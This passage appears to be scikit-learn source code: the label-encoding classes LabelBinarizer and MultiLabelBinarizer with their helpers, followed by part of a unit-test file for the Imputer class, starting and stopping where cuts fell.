    >>> le.classes_
    array([1, 2, 6])
    >>> le.transform([1, 1, 2, 6]) #doctest: +ELLIPSIS
    array([0, 0, 1, 2]...)
    >>> le.inverse_transform([0, 0, 1, 2])
    array([1, 1, 2, 6])

    It can also be used to transform non-numerical labels (as long as they are
    hashable and comparable) to numerical labels.

    >>> le = preprocessing.LabelEncoder()
    >>> le.fit(["paris", "paris", "tokyo", "amsterdam"])
    LabelEncoder()
    >>> list(le.classes_)
    ['amsterdam', 'paris', 'tokyo']
    >>> le.transform(["tokyo", "tokyo", "paris"]) #doctest: +ELLIPSIS
    array([2, 2, 1]...)
    >>> list(le.inverse_transform([2, 2, 1]))
    ['tokyo', 'tokyo', 'paris']

    """

    def fit(self, y):
        """Fit label encoder

        Parameters
        ----------
        y : array-like of shape (n_samples,)
            Target values.

        Returns
        -------
        self : returns an instance of self.
        """
        y = column_or_1d(y, warn=True)
        _check_numpy_unicode_bug(y)
        self.classes_ = np.unique(y)
        return self

    def fit_transform(self, y):
        """Fit label encoder and return encoded labels

        Parameters
        ----------
        y : array-like of shape [n_samples]
            Target values.

        Returns
        -------
        y : array-like of shape [n_samples]
        """
        y = column_or_1d(y, warn=True)
        _check_numpy_unicode_bug(y)
        self.classes_, y = np.unique(y, return_inverse=True)
        return y

    def transform(self, y):
        """Transform labels to normalized encoding.

        Parameters
        ----------
        y : array-like of shape [n_samples]
            Target values.

        Returns
        -------
        y : array-like of shape [n_samples]
        """
        check_is_fitted(self, 'classes_')
        y = column_or_1d(y, warn=True)

        classes = np.unique(y)
        _check_numpy_unicode_bug(classes)
        if len(np.intersect1d(classes, self.classes_)) < len(classes):
            diff = np.setdiff1d(classes, self.classes_)
            raise ValueError("y contains new labels: %s" % str(diff))
        return np.searchsorted(self.classes_, y)

    def inverse_transform(self, y):
        """Transform labels back to original encoding.

        Parameters
        ----------
        y : numpy array of shape [n_samples]
            Target values.

        Returns
        -------
        y : numpy array of shape [n_samples]
        """
        check_is_fitted(self, 'classes_')

        diff = np.setdiff1d(y, np.arange(len(self.classes_)))
        if diff:
            raise ValueError("y contains new labels: %s" % str(diff))
        y = np.asarray(y)
        return self.classes_[y]


class LabelBinarizer(BaseEstimator, TransformerMixin):
    """Binarize labels in a one-vs-all fashion

    Several regression and binary classification algorithms are
    available in the scikit. A simple way to extend these algorithms
    to the multi-class classification case is to use the so-called
    one-vs-all scheme.

    At learning time, this simply consists in learning one regressor
    or binary classifier per class. In doing so, one needs to convert
    multi-class labels to binary labels (belong or does not belong
    to the class). LabelBinarizer makes this process easy with the
    transform method.

    At prediction time, one assigns the class for which the corresponding
    model gave the greatest confidence. LabelBinarizer makes this easy
    with the inverse_transform method.

    Read more in the :ref:`User Guide <preprocessing_targets>`.

    Parameters
    ----------

    neg_label : int (default: 0)
        Value with which negative labels must be encoded.

    pos_label : int (default: 1)
        Value with which positive labels must be encoded.

    sparse_output : boolean (default: False)
        True if the returned array from transform is desired to be in sparse
        CSR format.

    Attributes
    ----------

    classes_ : array of shape [n_class]
        Holds the label for each class.

    y_type_ : str,
        Represents the type of the target data as evaluated by
        utils.multiclass.type_of_target. Possible type are 'continuous',
        'continuous-multioutput', 'binary', 'multiclass',
        'multiclass-multioutput', 'multilabel-indicator', and 'unknown'.

    sparse_input_ : boolean,
        True if the input data to transform is given as a sparse matrix, False
        otherwise.

    Examples
    --------
    >>> from sklearn import preprocessing
    >>> lb = preprocessing.LabelBinarizer()
    >>> lb.fit([1, 2, 6, 4, 2])
    LabelBinarizer(neg_label=0, pos_label=1, sparse_output=False)
    >>> lb.classes_
    array([1, 2, 4, 6])
    >>> lb.transform([1, 6])
    array([[1, 0, 0, 0],
           [0, 0, 0, 1]])

    Binary targets transform to a column vector

    >>> lb = preprocessing.LabelBinarizer()
    >>> lb.fit_transform(['yes', 'no', 'no', 'yes'])
    array([[1],
           [0],
           [0],
           [1]])

    Passing a 2D matrix for multilabel classification

    >>> import numpy as np
    >>> lb.fit(np.array([[0, 1, 1], [1, 0, 0]]))
    LabelBinarizer(neg_label=0, pos_label=1, sparse_output=False)
    >>> lb.classes_
    array([0, 1, 2])
    >>> lb.transform([0, 1, 2, 1])
    array([[1, 0, 0],
           [0, 1, 0],
           [0, 0, 1],
           [0, 1, 0]])

    See also
    --------
    label_binarize : function to perform the transform operation of
        LabelBinarizer with fixed classes.
    """

    def __init__(self, neg_label=0, pos_label=1, sparse_output=False):
        if neg_label >= pos_label:
            raise ValueError("neg_label={0} must be strictly less than "
                             "pos_label={1}.".format(neg_label, pos_label))

        if sparse_output and (pos_label == 0 or neg_label != 0):
            raise ValueError("Sparse binarization is only supported with non "
                             "zero pos_label and zero neg_label, got "
                             "pos_label={0} and neg_label={1}"
                             "".format(pos_label, neg_label))

        self.neg_label = neg_label
        self.pos_label = pos_label
        self.sparse_output = sparse_output

    def fit(self, y):
        """Fit label binarizer

        Parameters
        ----------
        y : numpy array of shape (n_samples,) or (n_samples, n_classes)
            Target values. The 2-d matrix should only contain 0 and 1,
            represents multilabel classification.

        Returns
        -------
        self : returns an instance of self.
        """
        self.y_type_ = type_of_target(y)
        if 'multioutput' in self.y_type_:
            raise ValueError("Multioutput target data is not supported with "
                             "label binarization")
        if _num_samples(y) == 0:
            raise ValueError('y has 0 samples: %r' % y)

        self.sparse_input_ = sp.issparse(y)
        self.classes_ = unique_labels(y)
        return self

    def transform(self, y):
        """Transform multi-class labels to binary labels

        The output of transform is sometimes referred to by some authors as the
        1-of-K coding scheme.

        Parameters
        ----------
        y : numpy array or sparse matrix of shape (n_samples,) or
            (n_samples, n_classes) Target values. The 2-d matrix should only
            contain 0 and 1, represents multilabel classification. Sparse
            matrix can be CSR, CSC, COO, DOK, or LIL.

        Returns
        -------
        Y : numpy array or CSR matrix of shape [n_samples, n_classes]
            Shape will be [n_samples, 1] for binary problems.
        """
        check_is_fitted(self, 'classes_')

        y_is_multilabel = type_of_target(y).startswith('multilabel')
        if y_is_multilabel and not self.y_type_.startswith('multilabel'):
            raise ValueError("The object was not fitted with multilabel"
                             " input.")

        return label_binarize(y, self.classes_,
                              pos_label=self.pos_label,
                              neg_label=self.neg_label,
                              sparse_output=self.sparse_output)

    def inverse_transform(self, Y, threshold=None):
        """Transform binary labels back to multi-class labels

        Parameters
        ----------
        Y : numpy array or sparse matrix with shape [n_samples, n_classes]
            Target values. All sparse matrices are converted to CSR before
            inverse transformation.

        threshold : float or None
            Threshold used in the binary and multi-label cases.

            Use 0 when:
                - Y contains the output of decision_function (classifier)
            Use 0.5 when:
                - Y contains the output of predict_proba

            If None, the threshold is assumed to be half way between
            neg_label and pos_label.

        Returns
        -------
        y : numpy array or CSR matrix of shape [n_samples] Target values.

        Notes
        -----
        In the case when the binary labels are fractional
        (probabilistic), inverse_transform chooses the class with the
        greatest value. Typically, this allows to use the output of a
        linear model's decision_function method directly as the input
        of inverse_transform.
        """
        check_is_fitted(self, 'classes_')

        if threshold is None:
            threshold = (self.pos_label + self.neg_label) / 2.

        if self.y_type_ == "multiclass":
            y_inv = _inverse_binarize_multiclass(Y, self.classes_)
        else:
            y_inv = _inverse_binarize_thresholding(Y, self.y_type_,
                                                   self.classes_, threshold)

        if self.sparse_input_:
            y_inv = sp.csr_matrix(y_inv)
        elif sp.issparse(y_inv):
            y_inv = y_inv.toarray()

        return y_inv


def label_binarize(y, classes, neg_label=0, pos_label=1, sparse_output=False):
    """Binarize labels in a one-vs-all fashion

    Several regression and binary classification algorithms are
    available in the scikit. A simple way to extend these algorithms
    to the multi-class classification case is to use the so-called
    one-vs-all scheme.

    This function makes it possible to compute this transformation for a
    fixed set of class labels known ahead of time.

    Parameters
    ----------
    y : array-like
        Sequence of integer labels or multilabel data to encode.

    classes : array-like of shape [n_classes]
        Uniquely holds the label for each class.

    neg_label : int (default: 0)
        Value with which negative labels must be encoded.

    pos_label : int (default: 1)
        Value with which positive labels must be encoded.

    sparse_output : boolean (default: False),
        Set to true if output binary array is desired in CSR sparse format

    Returns
    -------
    Y : numpy array or CSR matrix of shape [n_samples, n_classes]
        Shape will be [n_samples, 1] for binary problems.

    Examples
    --------
    >>> from sklearn.preprocessing import label_binarize
    >>> label_binarize([1, 6], classes=[1, 2, 4, 6])
    array([[1, 0, 0, 0],
           [0, 0, 0, 1]])

    The class ordering is preserved:

    >>> label_binarize([1, 6], classes=[1, 6, 4, 2])
    array([[1, 0, 0, 0],
           [0, 1, 0, 0]])

    Binary targets transform to a column vector

    >>> label_binarize(['yes', 'no', 'no', 'yes'], classes=['no', 'yes'])
    array([[1],
           [0],
           [0],
           [1]])

    See also
    --------
    LabelBinarizer : class used to wrap the functionality of label_binarize and
        allow for fitting to classes independently of the transform operation
    """
    if not isinstance(y, list):
        # XXX Workaround that will be removed when list of list format is
        # dropped
        y = check_array(y, accept_sparse='csr', ensure_2d=False, dtype=None)
    else:
        if _num_samples(y) == 0:
            raise ValueError('y has 0 samples: %r' % y)
    if neg_label >= pos_label:
        raise ValueError("neg_label={0} must be strictly less than "
                         "pos_label={1}.".format(neg_label, pos_label))

    if (sparse_output and (pos_label == 0 or neg_label != 0)):
        raise ValueError("Sparse binarization is only supported with non "
                         "zero pos_label and zero neg_label, got "
                         "pos_label={0} and neg_label={1}"
                         "".format(pos_label, neg_label))

    # To account for pos_label == 0 in the dense case
    pos_switch = pos_label == 0
    if pos_switch:
        pos_label = -neg_label

    y_type = type_of_target(y)
    if 'multioutput' in y_type:
        raise ValueError("Multioutput target data is not supported with label "
                         "binarization")
    if y_type == 'unknown':
        raise ValueError("The type of target data is not known")

    n_samples = y.shape[0] if sp.issparse(y) else len(y)
    n_classes = len(classes)
    classes = np.asarray(classes)

    if y_type == "binary":
        if n_classes == 1:
            if sparse_output:
                return sp.csr_matrix((n_samples, 1), dtype=int)
            else:
                Y = np.zeros((len(y), 1), dtype=np.int)
                Y += neg_label
                return Y
        elif len(classes) >= 3:
            y_type = "multiclass"

    sorted_class = np.sort(classes)
    if (y_type == "multilabel-indicator" and classes.size != y.shape[1]):
        raise ValueError("classes {0} missmatch with the labels {1}"
                         "found in the data".format(classes, unique_labels(y)))

    if y_type in ("binary", "multiclass"):
        y = column_or_1d(y)

        # pick out the known labels from y
        y_in_classes = in1d(y, classes)
        y_seen = y[y_in_classes]
        indices = np.searchsorted(sorted_class, y_seen)
        indptr = np.hstack((0, np.cumsum(y_in_classes)))

        data = np.empty_like(indices)
        data.fill(pos_label)
        Y = sp.csr_matrix((data, indices, indptr),
                          shape=(n_samples, n_classes))
    elif y_type == "multilabel-indicator":
        Y = sp.csr_matrix(y)
        if pos_label != 1:
            data = np.empty_like(Y.data)
            data.fill(pos_label)
            Y.data = data
    else:
        raise ValueError("%s target data is not supported with label "
                         "binarization" % y_type)

    if not sparse_output:
        Y = Y.toarray()
        Y = astype(Y, int, copy=False)

        if neg_label != 0:
            Y[Y == 0] = neg_label

        if pos_switch:
            Y[Y == pos_label] = 0
    else:
        Y.data = astype(Y.data, int, copy=False)

    # preserve label ordering
    if np.any(classes != sorted_class):
        indices = np.searchsorted(sorted_class, classes)
        Y = Y[:, indices]

    if y_type == "binary":
        if sparse_output:
            Y = Y.getcol(-1)
        else:
            Y = Y[:, -1].reshape((-1, 1))

    return Y


def _inverse_binarize_multiclass(y, classes):
    """Inverse label binarization transformation for multiclass.

    Multiclass uses the maximal score instead of a threshold.
    """
    classes = np.asarray(classes)

    if sp.issparse(y):
        # Find the argmax for each row in y where y is a CSR matrix

        y = y.tocsr()
        n_samples, n_outputs = y.shape
        outputs = np.arange(n_outputs)
        row_max = sparse_min_max(y, 1)[1]
        row_nnz = np.diff(y.indptr)

        y_data_repeated_max = np.repeat(row_max, row_nnz)
        # picks out all indices obtaining the maximum per row
        y_i_all_argmax = np.flatnonzero(y_data_repeated_max == y.data)

        # For corner case where last row has a max of 0
        if row_max[-1] == 0:
            y_i_all_argmax = np.append(y_i_all_argmax, [len(y.data)])

        # Gets the index of the first argmax in each row from y_i_all_argmax
        index_first_argmax = np.searchsorted(y_i_all_argmax, y.indptr[:-1])
        # first argmax of each row
        y_ind_ext = np.append(y.indices, [0])
        y_i_argmax = y_ind_ext[y_i_all_argmax[index_first_argmax]]
        # Handle rows of all 0
        y_i_argmax[np.where(row_nnz == 0)[0]] = 0

        # Handles rows with max of 0 that contain negative numbers
        samples = np.arange(n_samples)[(row_nnz > 0) &
                                       (row_max.ravel() == 0)]
        for i in samples:
            ind = y.indices[y.indptr[i]:y.indptr[i + 1]]
            y_i_argmax[i] = classes[np.setdiff1d(outputs, ind)][0]

        return classes[y_i_argmax]
    else:
        return classes.take(y.argmax(axis=1), mode="clip")


def _inverse_binarize_thresholding(y, output_type, classes, threshold):
    """Inverse label binarization transformation using thresholding."""

    if output_type == "binary" and y.ndim == 2 and y.shape[1] > 2:
        raise ValueError("output_type='binary', but y.shape = {0}".
                         format(y.shape))

    if output_type != "binary" and y.shape[1] != len(classes):
        raise ValueError("The number of class is not equal to the number of "
                         "dimension of y.")

    classes = np.asarray(classes)

    # Perform thresholding
    if sp.issparse(y):
        if threshold > 0:
            if y.format not in ('csr', 'csc'):
                y = y.tocsr()
            y.data = np.array(y.data > threshold, dtype=np.int)
            y.eliminate_zeros()
        else:
            y = np.array(y.toarray() > threshold, dtype=np.int)
    else:
        y = np.array(y > threshold, dtype=np.int)

    # Inverse transform data
    if output_type == "binary":
        if sp.issparse(y):
            y = y.toarray()
        if y.ndim == 2 and y.shape[1] == 2:
            return classes[y[:, 1]]
        else:
            if len(classes) == 1:
                return np.repeat(classes[0], len(y))
            else:
                return classes[y.ravel()]

    elif output_type == "multilabel-indicator":
        return y

    else:
        raise ValueError("{0} format is not supported".format(output_type))


class MultiLabelBinarizer(BaseEstimator, TransformerMixin):
    """Transform between iterable of iterables and a multilabel format

    Although a list of sets or tuples is a very intuitive format for multilabel
    data, it is unwieldy to process. This transformer converts between this
    intuitive format and the supported multilabel format: a (samples x classes)
    binary matrix indicating the presence of a class label.

    Parameters
    ----------
    classes : array-like of shape [n_classes] (optional)
        Indicates an ordering for the class labels

    sparse_output : boolean (default: False),
        Set to true if output binary array is desired in CSR sparse format

    Attributes
    ----------
    classes_ : array of labels
        A copy of the `classes` parameter where provided,
        or otherwise, the sorted set of classes found when fitting.

    Examples
    --------
    >>> mlb = MultiLabelBinarizer()
    >>> mlb.fit_transform([(1, 2), (3,)])
    array([[1, 1, 0],
           [0, 0, 1]])
    >>> mlb.classes_
    array([1, 2, 3])

    >>> mlb.fit_transform([set(['sci-fi', 'thriller']), set(['comedy'])])
    array([[0, 1, 1],
           [1, 0, 0]])
    >>> list(mlb.classes_)
    ['comedy', 'sci-fi', 'thriller']

    """
    def __init__(self, classes=None, sparse_output=False):
        self.classes = classes
        self.sparse_output = sparse_output

    def fit(self, y):
        """Fit the label sets binarizer, storing `classes_`

        Parameters
        ----------
        y : iterable of iterables
            A set of labels (any orderable and hashable object) for each
            sample. If the `classes` parameter is set, `y` will not be
            iterated.

        Returns
        -------
        self : returns this MultiLabelBinarizer instance
        """
        if self.classes is None:
            classes = sorted(set(itertools.chain.from_iterable(y)))
        else:
            classes = self.classes
        dtype = np.int if all(isinstance(c, int) for c in classes) else object
        self.classes_ = np.empty(len(classes), dtype=dtype)
        self.classes_[:] = classes
        return self

    def fit_transform(self, y):
        """Fit the label sets binarizer and transform the given label sets

        Parameters
        ----------
        y : iterable of iterables
            A set of labels (any orderable and hashable object) for each
            sample. If the `classes` parameter is set, `y` will not be
            iterated.

        Returns
        -------
        y_indicator : array or CSR matrix, shape (n_samples, n_classes)
            A matrix such that `y_indicator[i, j] = 1` iff `classes_[j]` is in
            `y[i]`, and 0 otherwise.
        """
        if self.classes is not None:
            return self.fit(y).transform(y)

        # Automatically increment on new class
        class_mapping = defaultdict(int)
        class_mapping.default_factory = class_mapping.__len__
        yt = self._transform(y, class_mapping)

        # sort classes and reorder columns
        tmp = sorted(class_mapping, key=class_mapping.get)

        # (make safe for tuples)
        dtype = np.int if all(isinstance(c, int) for c in tmp) else object
        class_mapping = np.empty(len(tmp), dtype=dtype)
        class_mapping[:] = tmp
        self.classes_, inverse = np.unique(class_mapping, return_inverse=True)
        yt.indices = np.take(inverse, yt.indices)

        if not self.sparse_output:
            yt = yt.toarray()

        return yt

    def transform(self, y):
        """Transform the given label sets

        Parameters
        ----------
        y : iterable of iterables
            A set of labels (any orderable and hashable object) for each
            sample. If the `classes` parameter is set, `y` will not be
            iterated.

        Returns
        -------
        y_indicator : array or CSR matrix, shape (n_samples, n_classes)
            A matrix such that `y_indicator[i, j] = 1` iff `classes_[j]` is in
            `y[i]`, and 0 otherwise.
        """
        check_is_fitted(self, 'classes_')

        class_to_index = dict(zip(self.classes_, range(len(self.classes_))))
        yt = self._transform(y, class_to_index)

        if not self.sparse_output:
            yt = yt.toarray()

        return yt

    def _transform(self, y, class_mapping):
        """Transforms the label sets with a given mapping

        Parameters
        ----------
        y : iterable of iterables
        class_mapping : Mapping
            Maps from label to column index in label indicator matrix

        Returns
        -------
        y_indicator : sparse CSR matrix, shape (n_samples, n_classes)
            Label indicator matrix
        """
        indices = array.array('i')
        indptr = array.array('i', [0])
        for labels in y:
            indices.extend(set(class_mapping[label] for label in labels))
            indptr.append(len(indices))
        data = np.ones(len(indices), dtype=int)

        return sp.csr_matrix((data, indices, indptr),
                             shape=(len(indptr) - 1, len(class_mapping)))

    def inverse_transform(self, yt):
        """Transform the given indicator matrix into label sets

        Parameters
        ----------
        yt : array or sparse matrix of shape (n_samples, n_classes)
            A matrix containing only 1s ands 0s.

        Returns
        -------
        y : list of tuples
            The set of labels for each sample such that `y[i]` consists of
            `classes_[j]` for each `yt[i, j] == 1`.
        """
        check_is_fitted(self, 'classes_')

        if yt.shape[1] != len(self.classes_):
            raise ValueError('Expected indicator for {0} classes, but got {1}'
                             .format(len(self.classes_), yt.shape[1]))

        if sp.issparse(yt):
            yt = yt.tocsr()
            if len(yt.data) != 0 and len(np.setdiff1d(yt.data, [0, 1])) > 0:
                raise ValueError('Expected only 0s and 1s in label indicator.')
            return [tuple(self.classes_.take(yt.indices[start:end]))
                    for start, end in zip(yt.indptr[:-1], yt.indptr[1:])]
        else:
            unexpected = np.setdiff1d(yt, [0, 1])
            if len(unexpected) > 0:
                raise ValueError('Expected only 0s and 1s in label indicator. '
                                 'Also got {0}'.format(unexpected))
            return [tuple(self.classes_.compress(indicators)) for indicators
                    in yt]







import numpy as np
from scipy import sparse

from sklearn.base import clone
from sklearn.utils.testing import assert_equal
from sklearn.utils.testing import assert_array_equal
from sklearn.utils.testing import assert_raises
from sklearn.utils.testing import assert_false
from sklearn.utils.testing import assert_true

from sklearn.preprocessing.imputation import Imputer
from sklearn.pipeline import Pipeline
from sklearn.model_selection import GridSearchCV
from sklearn import tree
from sklearn.random_projection import sparse_random_matrix
 

def _check_statistics(X, X_true,
                      strategy, statistics, missing_values):
    """Utility function for testing imputation for a given strategy.

    Test:
        - along the two axes
        - with dense and sparse arrays

    Check that:
        - the statistics (mean, median, mode) are correct
        - the missing values are imputed correctly"""

    err_msg = "Parameters: strategy = %s, missing_values = %s, " \
              "axis = {0}, sparse = {1}" % (strategy, missing_values)

    # Normal matrix, axis = 0
    imputer = Imputer(missing_values, strategy=strategy, axis=0)
    X_trans = imputer.fit(X).transform(X.copy())
    assert_array_equal(imputer.statistics_, statistics,
                       err_msg.format(0, False))
    assert_array_equal(X_trans, X_true, err_msg.format(0, False))

    # Normal matrix, axis = 1
    imputer = Imputer(missing_values, strategy=strategy, axis=1)
    imputer.fit(X.transpose())
    if np.isnan(statistics).any():
        assert_raises(ValueError, imputer.transform, X.copy().transpose())
    else:
        X_trans = imputer.transform(X.copy().transpose())
        assert_array_equal(X_trans, X_true.transpose(),
                           err_msg.format(1, False))

    # Sparse matrix, axis = 0
    imputer = Imputer(missing_values, strategy=strategy, axis=0)
    imputer.fit(sparse.csc_matrix(X))
    X_trans = imputer.transform(sparse.csc_matrix(X.copy()))

    if sparse.issparse(X_trans):
        X_trans = X_trans.toarray()

    assert_array_equal(imputer.statistics_, statistics,
                       err_msg.format(0, True))
    assert_array_equal(X_trans, X_true, err_msg.format(0, True))

    # Sparse matrix, axis = 1
    imputer = Imputer(missing_values, strategy=strategy, axis=1)
    imputer.fit(sparse.csc_matrix(X.transpose()))
    if np.isnan(statistics).any():
        assert_raises(ValueError, imputer.transform,
                      sparse.csc_matrix(X.copy().transpose()))
    else:
        X_trans = imputer.transform(sparse.csc_matrix(X.copy().transpose()))

        if sparse.issparse(X_trans):
            X_trans = X_trans.toarray()

        assert_array_equal(X_trans, X_true.transpose(),
                           err_msg.format(1, True))


def test_imputation_shape():
    # Verify the shapes of the imputed matrix for different strategies.
    X = np.random.randn(10, 2)
    X[::2] = np.nan

    for strategy in ['mean', 'median', 'most_frequent']:
        imputer = Imputer(strategy=strategy)
        X_imputed = imputer.fit_transform(X)
        assert_equal(X_imputed.shape, (10, 2))
        X_imputed = imputer.fit_transform(sparse.csr_matrix(X))
        assert_equal(X_imputed.shape, (10, 2))


def test_imputation_mean_median_only_zero():
    # Test imputation using the mean and median strategies, when
    # missing_values == 0.
    X = np.array([
        [np.nan, 0, 0,  0,  5],
        [np.nan, 1, 0,  np.nan,  3],
        [np.nan, 2, 0,  0, 0],
        [np.nan, 6, 0,  5,  13],
    ])

    X_imputed_mean = np.array([
        [3,  5],
        [1,  3],
        [2,  7],
        [6, 13],
    ])
    statistics_mean = [np.nan, 3, np.nan, np.nan, 7]

    # Behaviour of median with NaN is undefined, e.g. different results in
    # np.median and np.ma.median
    X_for_median = X[:, [0, 1, 2, 4]]
    X_imputed_median = np.array([
        [2, 5],
        [1, 3],
        [2, 5],
        [6, 13],
    ])
    statistics_median = [np.nan, 2, np.nan, 5]

    _check_statistics(X, X_imputed_mean, "mean", statistics_mean, 0)
    _check_statistics(X_for_median, X_imputed_median, "median",
                      statistics_median, 0)


def safe_median(arr, *args, **kwargs):
    # np.median([]) raises a TypeError for numpy >= 1.10.1
    length = arr.size if hasattr(arr, 'size') else len(arr)
    return np.nan if length == 0 else np.median(arr, *args, **kwargs)


def safe_mean(arr, *args, **kwargs):
    # np.mean([]) raises a RuntimeWarning for numpy >= 1.10.1
    length = arr.size if hasattr(arr, 'size') else len(arr)
    return np.nan if length == 0 else np.mean(arr, *args, **kwargs)


def test_imputation_mean_median():
    # Test imputation using the mean and median strategies, when
    # missing_values != 0.
    rng = np.random.RandomState(0)

    dim = 10
    dec = 10
    shape = (dim * dim, dim + dec)

    zeros = np.zeros(shape[0])
    values = np.arange(1, shape[0]+1)
    values[4::2] = - values[4::2]

    tests = [("mean", "NaN", lambda z, v, p: safe_mean(np.hstack((z, v)))),
             ("mean", 0, lambda z, v, p: np.mean(v)),
             ("median", "NaN", lambda z, v, p: safe_median(np.hstack((z, v)))),
             ("median", 0, lambda z, v, p: np.median(v))]

    for strategy, test_missing_values, true_value_fun in tests:
        X = np.empty(shape)
        X_true = np.empty(shape)
        true_statistics = np.empty(shape[1])

        # Create a matrix X with columns
        #    - with only zeros,
        #    - with only missing values
        #    - with zeros, missing values and values
        # And a matrix X_true containing all true values
        for j in range(shape[1]):
            nb_zeros = (j - dec + 1 > 0) * (j - dec + 1) * (j - dec + 1)
            nb_missing_values = max(shape[0] + dec * dec
                                    - (j + dec) * (j + dec), 0)
            nb_values = shape[0] - nb_zeros - nb_missing_values

            z = zeros[:nb_zeros]
            p = np.repeat(test_missing_values, nb_missing_values)
            v = values[rng.permutation(len(values))[:nb_values]]

            true_statistics[j] = true_value_fun(z, v, p)

            # Create the columns
            X[:, j] = np.hstack((v, z, p))

            if 0 == test_missing_values:
                X_true[:, j] = np.hstack((v,
                                          np.repeat(
                                              true_statistics[j],
                                              nb_missing_values + nb_zeros)))
            else:
                X_true[:, j] = np.hstack((v,
                                          z,
                                          np.repeat(true_statistics[j],
                                                    nb_missing_values)))

            # Shuffle them the same way
            np.random.RandomState(j).shuffle(X[:, j])
            np.random.RandomState(j).shuffle(X_true[:, j])

        # Mean doesn't support columns containing NaNs, median does
        if strategy == "median":
            cols_to_keep = ~np.isnan(X_true).any(axis=0)
        else:
            cols_to_keep = ~np.isnan(X_true).all(axis=0)

        X_true = X_true[:, cols_to_keep]

        _check_statistics(X, X_true, strategy,
                          true_statistics, test_missing_values)


def test_imputation_median_special_cases():
    # Test median imputation with sparse boundary cases
    X = np.array([
        [0, np.nan, np.nan],  # odd: implicit zero
        [5, np.nan, np.nan],  # odd: explicit nonzero
        [0, 0, np.nan],    # even: average two zeros
        [-5, 0, np.nan],   # even: avg zero and neg
        [0, 5, np.nan],    # even: avg zero and pos
        [4, 5, np.nan],    # even: avg nonzeros
        [-4, -5, np.nan],  # even: avg negatives
        [-1, 2, np.nan],   # even: crossing neg and pos
    ]).transpose()

    X_imputed_median = np.array([
        [0, 0, 0],
        [5, 5, 5],
        [0, 0, 0],
        [-5, 0, -2.5],
        [0, 5, 2.5],
        [4, 5, 4.5],
        [-4, -5, -4.5],
        [-1, 2, .5],
    ]).transpose()
    statistics_median = [0, 5, 0, -2.5, 2.5, 4.5, -4.5, .5]

    _check_statistics(X, X_imputed_median, "median",
                      statistics_median, 'NaN')


def test_imputation_most_frequent():
    # Test imputation using the most-frequent strategy.
    X = np.array([
        [-1, -1,  0,  5],
        [-1,  2, -1,  3],
        [-1,  1,  3, -1],
        [-1,  2,  3,  7],
    ])

    X_true = np.array([
        [2,  0,  5],
        [2,  3,  3],
        [1,  3,  3],
        [2,  3,  7],
    ])

    # scipy.stats.mode, used in Imputer, doesn't return the first most
    # frequent as promised in the doc but the lowest most frequent. When this
    # test will fail after an update of scipy, Imputer will need to be updated
    # to be consistent with the new (correct) behaviour
    _check_statistics(X, X_true, "most_frequent", [np.nan, 2, 3, 3], -1)


def test_imputation_pipeline_grid_search():
    # Test imputation within a pipeline + gridsearch.
    pipeline = Pipeline([('imputer', Imputer(missing_values=0)),
                         ('tree', tree.DecisionTreeRegressor(random_state=0))])

    parameters = {
        'imputer__strategy': ["mean", "median", "most_frequent"],
        'imputer__axis': [0, 1]
    }

    l = 100
    X = sparse_random_matrix(l, l, density=0.10)
    Y = sparse_random_matrix(l, 1, density=0.10).toarray()
    gs = GridSearchCV(pipeline, parameters)
    gs.fit(X, Y)


def test_imputation_pickle():
    # Test for pickling imputers.
    import pickle

    l = 100
    X = sparse_random_matrix(l, l, density=0.10)

    for strategy in ["mean", "median", "most_frequent"]:
        imputer = Imputer(missing_values=0, strategy=strategy)
        imputer.fit(X)

        imputer_pickled = pickle.loads(pickle.dumps(imputer))

        assert_array_equal(imputer.transform(X.copy()),
                           imputer_pickled.transform(X.copy()),
                           "Fail to transform the data after pickling "
                           "(strategy = %s)" % (strategy))


def test_imputation_copy():
    # Test imputation with copy
    X_orig = sparse_random_matrix(5, 5, density=0.75, random_state=0)

    # copy=True, dense => copy
    X = X_orig.copy().toarray()
    imputer = Imputer(missing_values=0, strategy="mean", copy=True)
    Xt = imputer.fit(X).transform(X)
    Xt[0, 0] = -1
    assert_false(np.all(X == Xt))

    # copy=True, sparse csr => copy
    X = X_orig.copy()
    imputer = Imputer(missing_values=X.data[0], strategy="mean", copy=True)
    Xt = imputer.fit(X).transform(X)
    Xt.data[0] = -1
    assert_false(np.all(X.data == Xt.data))

    # copy=False, dense => no copy
    X = X_orig.copy().toarray()
    imputer = Imputer(missing_values=0, strategy="mean", copy=False)
    Xt = imputer.fit(X).transform(X)
    Xt[0, 0] = -1
    assert_true(np.all(X == Xt))

    # copy=False, sparse csr, axis=1 => no copy
    X = X_orig.copy()
    imputer = Imputer(missing_values=X.data[0], strategy="mean",
                      copy=False, axis=1)
    Xt = imputer.fit(X).transform(X)
    Xt.data[0] = -1
    assert_true(np.all(X.data == Xt.data))

    # copy=False, sparse csc, axis=0 => no copy
    X = X_orig.copy().tocsc()
    imputer = Imputer(missing_values=X.data[0], strategy="mean",
                      copy=False, axis=0)
    Xt = imputer.fit(X).transform(X)
    Xt.data[0] = -1
    assert_true(np.all(X.data == Xt.data))

    # copy=False, sparse csr, axis=0 => copy
    X = X_orig.copy()
    imputer = Imputer(missing_values=X.data[0], strategy="mean",
                      copy=False, axis=0)
    Xt = imputer.fit(X).transform(X)
    Xt.data[0] = -1
    assert_false(np.all(X.data == Xt.data))

    # copy=False, sparse csc, axis=1 => copy
    X = X_orig.copy().tocsc()
    imputer = Imputer(missing_values=X.data[0], strategy="mean",
                      copy=False, axis=1)
    Xt = imputer.fit(X).transform(X)
    Xt.data[0] = -1
    assert_false(np.all(X.data == Xt.data))

    # copy=False, sparse csr, axis=1, missing_values=0 => copy
    X = X_orig.copy()
    imputer = Imputer(missing_values=0, strategy="mean",
                      copy=False, axis=1)
    Xt = imputer.fit(X).transform(X)
    assert_false(sparse.issparse(Xt))

    # Note: If X is sparse and if missing_values=0, then a (dense) copy of X is
    # made, even if copy=False.


def check_indicator(X, expected_imputed_features, axis):
    n_samples, n_features = X.shape
    imputer = Imputer(missing_values=-1, strategy='mean', axis=axis)
    imputer_with_in = clone(imputer).set_params(add_indicator_features=True)
    Xt = imputer.fit_transform(X)
    Xt_with_in = imputer_with_in.fit_transform(X)
    imputed_features_mask = X[:, expected_imputed_features] == -1
    n_features_new = Xt.shape[1]
    n_imputed_features = len(imputer_with_in.imputed_features_)
    assert_array_equal(imputer.imputed_features_, expected_imputed_features)
    assert_array_equal(imputer_with_in.imputed_features_,
                       expected_imputed_features)
    assert_equal(Xt_with_in.shape,
                 (n_samples, n_features_new + n_imputed_features))
    assert_array_equal(Xt_with_in, np.hstack((Xt, imputed_features_mask)))
    imputer_with_in = clone(imputer).set_params(add_indicator_features=True)
    assert_array_equal(Xt_with_in,
